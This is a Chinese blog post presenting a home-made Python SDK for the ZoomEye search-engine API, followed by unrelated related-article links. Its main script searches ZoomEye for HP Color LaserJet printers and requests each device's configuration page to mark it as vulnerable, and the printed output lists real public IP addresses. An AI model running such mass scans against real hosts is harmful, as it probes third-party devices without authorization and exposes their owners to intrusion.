版权声明:未经作者授权,禁止转载!

ZoomEye想必大家都很熟悉,自从官方开放了API,网上各种版本的SDK乱飞。今天我也来发一个自己写的。

首先我们从https://github.com/SEC08/ZoomEye-API-SDK下载以后,解压以后我们直接运行python setup.py install来安装这个模块。这个过程类似大家安装Python的其他模块,比如说常见的requests.这里不多介绍了。等待安装完成以后,我们就可以来调用了。

利用SDK登录ZoomEye:

#!/usr/bin/env python
# -*-coding:utf-8 -*- import sys
import requests
import zoomeye.zoomeye as zoomeye test = zoomeye.zoomeye() username = 'your main@qq.com'
password = 'your zoomeye account password' token = test.logIn(username, password)

接着我们调用了脚本中的搜索方法,搜索的query可以参考官方给出的使用说明。。

#!/usr/bin/env python
# -*-coding:utf-8 -*- import sys
import requests
import zoomeye.zoomeye as zoomeye test = zoomeye.zoomeye() username = 'your main@qq.com'
password = 'your ZoomEye account password' token = test.logIn(username, password) result = test.search('web',query='HP Color LaserJet',page=1,facets='app,os') print result

返回数据是json的格式,官方文档中有详细的说明,这里我大致做了处理。

#!/usr/bin/env python
# -*-coding:utf-8 -*- import sys
import requests
import zoomeye.zoomeye as zoomeye test = zoomeye.zoomeye() username = 'your main@qq.com'
password = 'your ZoomEye account password' token = test.logIn(username, password) result = test.search('web',query='HP Color LaserJet',page=1,facets='app,os') target = [] for i in result:
for x in i['matches']:
print x['ip']
target.append(x['ip'][0]) for ip in target:
try:
payload = '/hp/device/InternalPages/Index?id=ConfigurationPage'
url = 'http://' + ip + payload
res_exp = requests.get(url)
print '[-]checking url %s' % url
if res_exp.status_code == 200 and 'HomeDeviceName' in res_exp.content and 'HomeDeviceIp' in res_exp.content:
print '[+]%s is vul' % url
elif res_exp.status_code != 200:
print '[+]%s is static' % url
else:
pass except Exception, e:
pass

 然后结果是这样的:

[-]checking url http://192.185.150.112/hp/device/InternalPages/Index?id=ConfigurationPage
[-]checking url http://140.118.123.43/hp/device/InternalPages/Index?id=ConfigurationPage
[+]http://140.118.123.43/hp/device/InternalPages/Index?id=ConfigurationPage is static
[-]checking url http://31.160.189.69/hp/device/InternalPages/Index?id=ConfigurationPage
[+]http://31.160.189.69/hp/device/InternalPages/Index?id=ConfigurationPage is static
[-]checking url http://129.89.57.148/hp/device/InternalPages/Index?id=ConfigurationPage
[+]http://129.89.57.148/hp/device/InternalPages/Index?id=ConfigurationPage is static
[-]checking url http://170.210.3.40/hp/device/InternalPages/Index?id=ConfigurationPage
[+]http://170.210.3.40/hp/device/InternalPages/Index?id=ConfigurationPage is static
[-]checking url http://74.208.41.246/hp/device/InternalPages/Index?id=ConfigurationPage
[+]http://74.208.41.246/hp/device/InternalPages/Index?id=ConfigurationPage is static
[-]checking url http://140.112.57.144/hp/device/InternalPages/Index?id=ConfigurationPage
[+]http://140.112.57.144/hp/device/InternalPages/Index?id=ConfigurationPage is static
[-]checking url http://67.63.41.136/hp/device/InternalPages/Index?id=ConfigurationPage
[+]http://67.63.41.136/hp/device/InternalPages/Index?id=ConfigurationPage is static

这样是大致的演示过程,还有诸多的不足。这里想说的是,这是一个不错的漏扫模式,国内好多的安全厂商也都开始构建类似这样的工具。另外大家可以发挥自己的想象力和创造力。更快速的去挖到更多的漏洞。

Python 实现 ZoomEye API SDK的更多相关文章

  1. 『Python』Python 调用 ZoomEye API 批量获取目标网站IP

    #### 20160712 更新 原API的访问方式是以 HTTP 的方式访问的,根据官网最新文档,现在已经修改成 HTTPS 方式,测试可以正常使用API了. 0x 00 前言 ZoomEye 的 ...

  2. 从ZoomEye API 到 Weblogic 弱口令扫描

    参考资料: ZoomEye API: https://www.zoomeye.org/api/doc Weblogic-Weakpassword-Scnner: https://github.com/ ...

  3. 使用Python结合Face++ API识别人脸

    Face++是北京旷视科技旗下的视觉服务平台,可以进行人脸识别.检测等功能.其人脸识别技术据悉在目前准确率较高,其API非常友好,免费使用,功能众多,而且调用几乎没有限制.这里我使用了Python调用 ...

  4. 调用ZoomEye API获取信息

    最近在提高自己编程能力,拿一些实用的小工具练下.该脚本为python语言,主要涉及模块urllib,json,os模块. 功能:调用ZoomEye API获取信息 import urllib.requ ...

  5. 使用Python调用Flickr API抓取图片数据

    Flickr是雅虎旗下的图片分享网站,上面有全世界网友分享的大量精彩图片,被认为是专业的图片网站.其API也很友好,可以实现多种功能.这里我使用了Python调用其API获得了大量的照片数据.需要注意 ...

  6. 使用python+pychram进行API测试(接口测试)初级STEP 1

    花了一天时间安装了解了下最基本的python+pychram进行API测试,下面这个可以指导自己以后入门:基本的开发级别还需要学习 1.python下载地址:https://www.python.or ...

  7. WEB自动化(Python+selenium)的API

    在做Web自动化过程中,汇总了Python+selenium的API相关方法,给公司里的同事做了第二次培训,分享给大家                                         ...

  8. 使用sphinx快速为你python注释生成API文档

    sphinx简介sphinx是一种基于Python的文档工具,它可以令人轻松的撰写出清晰且优美的文档,由Georg Brandl在BSD许可证下开发.新版的Python3文档就是由sphinx生成的, ...

  9. 基于python调用libvirt API

    基于python调用libvirt API 1.程序代码 #!/usr/bin/python import libvirt import sys def createConnection(): con ...

随机推荐

  1. SqlServer-geography && Spatial result

    说起geography(地理)这个类型,我感觉好陌生,以前真的没有见过,今天在查询某个Address表的时候,却发现了新大陆——Spatial result(空间的结果). (1)表的结构 (2)查询 ...

  2. 各种RNAseq原理

    RNA Sequencing Methods Low-Level RNA Detection CEL-Seq CirSeq CLaP CytoSeq Digital RNA Sequencing DP ...

  3. 9.TOP 子句--mysql limit

    TOP 子句 TOP 子句用于规定要返回的记录的数目. 对于拥有数千条记录的大型表来说,TOP 子句是非常有用的. 注释:并非所有的数据库系统都支持 TOP 子句. MySQL 语法 SELECT c ...

  4. SQLAlchemy 进阶

    SQLAlchemy使用 1.执行原生SQL语句 from sqlalchemy.orm import sessionmaker from sqlalchemy import create_engin ...

  5. session的应用----验证码

    昨天登录功能中叙述了密码 用户名的数据库验证以及转发 那么这篇文章在昨天的基础上 处理验证码的验证功能,今天需要用到session域,session用于一次会话. package cn.lijun.d ...

  6. python核心编程第3章课后题答案(第二版55页)

    3-4Statements Ues ; 3-5Statements Use\(unless part of a comma-separated sequence in which case \ is ...

  7. c++基础之向量Vector

    首先和string一样要在开头 #include <vector> #include <string> 和string一样,也算是一种容器,而且同属于STL(standard ...

  8. vs2010 在win8附加进程调试小技巧

    在win8 附加进程居然找不到 我要的是iis 名为HKFlight的web的进程(下面2个勾也勾上了,就是找不到它)(下图是管理员身份运行截图) 解决方法:打开vs2010 用管理员身份打开...其 ...

  9. Windows系统版本判定那些事儿[转]

    Windows系统版本判定那些事儿 转自CSDN,原文链接,我比较不要脸, 全部给复制过来了 前言 本文并不是讨论Windows操作系统的版本来历和特点,也不是讨论为什么没有Win9,而是从程序员角度 ...

  10. ExposedObject的使用

    ExposedObject可以将一个对象快速封装未一个dynamic using System; namespace ConsoleApp2 { class Program { static void ...